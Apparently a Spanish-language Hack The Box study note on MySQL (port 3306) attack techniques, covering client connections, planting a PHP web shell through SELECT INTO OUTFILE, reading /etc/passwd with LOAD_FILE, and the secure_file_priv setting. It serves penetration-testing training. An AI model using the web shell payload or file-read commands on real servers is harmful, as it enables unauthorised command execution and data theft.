MySQL Port (3306)
Connecting to database
Tools to Interact with MySQL
dbeaver
MySQL Workbench
MySQL
Para interactuar con MySQL, podemos usar los binarios de MySQL para Linux (mysql
) o Windows (mysql.exe
). MySQL viene preinstalado en algunas distribuciones de Linux, pero también podemos instalar los binarios manualmente siguiendo una guÃa especÃfica.
Iniciar una sesión SQL interactiva en Linux:
gzzcoo@htb[/htb]$ mysql -h 10.129.20.13 -u username -p'Password123'
Iniciar una sesión SQL interactiva en Windows:
C:\htb> mysql.exe -u username -pPassword123 -h 10.129.20.13
DBeaver
Install DBeaver
Para instalar dbeaver usando un paquete Debian podemos descargar el paquete release .deb desde https://github.com/dbeaver/dbeaver/releases y ejecutar el siguiente comando:
gzzcoo@htb[/htb]$ sudo dpkg -i dbeaver-<version>.deb
Run DBeaver
Para iniciar la aplicación utilice:
gzzcoo@htb[/htb]$ dbeaver & disown 2>/dev/null
Video - Connecting to MySQL DB using dbeaver
Write Local Files
MySQL no tiene un procedimiento almacenado como xp_cmdshell
, pero podemos lograr la ejecución de comandos si escribimos en una ubicación del sistema de archivos que pueda ejecutar nuestros comandos. Por ejemplo, supongamos que MySQL se ejecuta en un servidor web basado en PHP u otros lenguajes como ASP.NET. Si tenemos los privilegios adecuados, podemos intentar escribir un archivo usando SELECT INTO OUTFILE
en el directorio del servidor web. Luego, podemos navegar hasta la ubicación del archivo y ejecutar nuestros comandos.
mysql> SELECT "<?php echo shell_exec($_GET['cmd']);?>" INTO OUTFILE '/var/www/html/webshell.php';
Query OK, 1 row affected (0.001 sec)
Read Local Files
Como mencionamos anteriormente, por defecto una instalación de MySQL no permite la lectura arbitraria de archivos, pero si la configuración es la adecuada y contamos con los privilegios necesarios, podemos leer archivos utilizando los siguientes métodos:
mysql> select LOAD_FILE("/etc/passwd");
+--------------------------+
| LOAD_FILE("/etc/passwd")
+--------------------------------------------------+
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
<SNIP>
Secure File Privileges
En MySQL, una variable de sistema global llamada secure_file_priv
limita el efecto de las operaciones de importación y exportación de datos, como las realizadas por las sentencias LOAD DATA
y SELECT … INTO OUTFILE
, asà como por la función LOAD_FILE()
. Estas operaciones solo están permitidas para los usuarios que tengan el privilegio FILE
.
secure_file_priv
puede configurarse de las siguientes maneras:
Si está vacÃa, la variable no tiene efecto, lo cual no es una configuración segura.
Si está configurada con el nombre de un directorio, el servidor limita las operaciones de importación y exportación solo a ese directorio. El directorio debe existir; el servidor no lo crea automáticamente.
Si está configurada como
NULL
, el servidor desactiva completamente las operaciones de importación y exportación.
En el siguiente ejemplo, podemos ver que la variable secure_file_priv
está vacÃa, lo que significa que podemos leer y escribir datos usando MySQL:
mysql> show variables like "secure_file_priv";
+------------------+-------+
| Variable_name | Value |
+------------------+-------+
| secure_file_priv | |
+------------------+-------+
1 row in set (0.005 sec)
Última actualización
¿Te fue útil?